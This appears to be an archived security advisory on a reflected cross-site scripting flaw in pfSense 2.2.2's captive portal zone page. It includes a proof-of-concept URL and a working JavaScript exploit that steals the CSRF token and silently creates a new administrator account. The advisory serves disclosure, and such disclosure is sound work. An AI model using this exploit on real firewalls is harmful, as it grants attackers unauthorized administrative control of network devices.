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PFSense 2.2.2 Cross Site Scripting

PFSense 2.2.2 Cross Site Scripting
Posted Jul 14, 2015
Authored by William Costa

PFSense version 2.2.2 suffers from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | b41b9c68576f0be0722976059ed088c83310cca21a4d01f12703068087ad1bcc

PFSense 2.2.2 Cross Site Scripting

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I. VULNERABILITY
-------------------------
Reflected XSS Attacks vulnerabilities in PFSense Version 2.2.2

II. BACKGROUND
-------------------------
The pfSense project is a free network firewall distribution, based on the
FreeBSD operating system with a custom kernel and including third party
free software packages for additional functionality. Through this package
system pfSense software is able to provide most of the functionality of
common commercial firewalls, and many times more.

III. DESCRIPTION
-------------------------
Has been detected a Reflected XSS vulnerability in PFSense .
The code injection is done through the parameter “zone” in the page
“/services_captiveportal_zones.php?act=del&zone=”

IV. PROOF OF CONCEPT
-------------------------
The application does not validate the parameter “zone” correctly.
http://192.168.217.100/services_captiveportal_zones.php?act=del&zone=aaaa%22%3E%3Cscript%3Ealert%28csrfMagicToken%29%3C/script%3E

V. BUSINESS IMPACT
-------------------------
An attacker can execute arbitrary HTML or script code in a targeted
user's browser, , that allows the execution of arbitrary HTML/script code
to be executed in the context of the victim user's browser.
VI. SYSTEMS AFFECTED
-------------------------
Tested PFSense 2.2.2

VII. SOLUTION
-------------------------
All data received by the application and that can be modified by the user,
before making any kind of transaction with them must be validated corretely
https://www.pfsense.org/security/advisories/pfSense-SA-15_06.webgui.asc

VIII. EXPLOIT
-------------------------
#cat exploit.js
document.write('<iframe width=1000 height=1000 name="xss"> </iframe>');
xss.document.write('<body><form id="CSRF" action="
http://192.168.217.100/system_usermanager.php" method="post" name="CSRF">');
xss.document.write('<input name="__csrf_magic" value=""</input>');
xss.document.write('<input name="utype" value="user"> </input>');
xss.document.write('<input name="usernamefld" value="test"> </input>');
xss.document.write('<input name="passwordfld1" value="123456"> </input>');
xss.document.write('<input name="passwordfld2" value="123456"> </input>');
xss.document.write('<input name="groups[]" value="admins"> </input>');
xss.document.write('<input name="save" value="Save"> </input>');
xss.document.write('</form>');
xss.document.write('</body>');
window.frames['xss'].document.getElementsByName('__csrf_magic')[0].value=csrfMagicToken;
window.frames['xss'].document.CSRF.submit();

Result,

Create new admin user the name test and password 123456

By William Costa

william.costa@gmail.com


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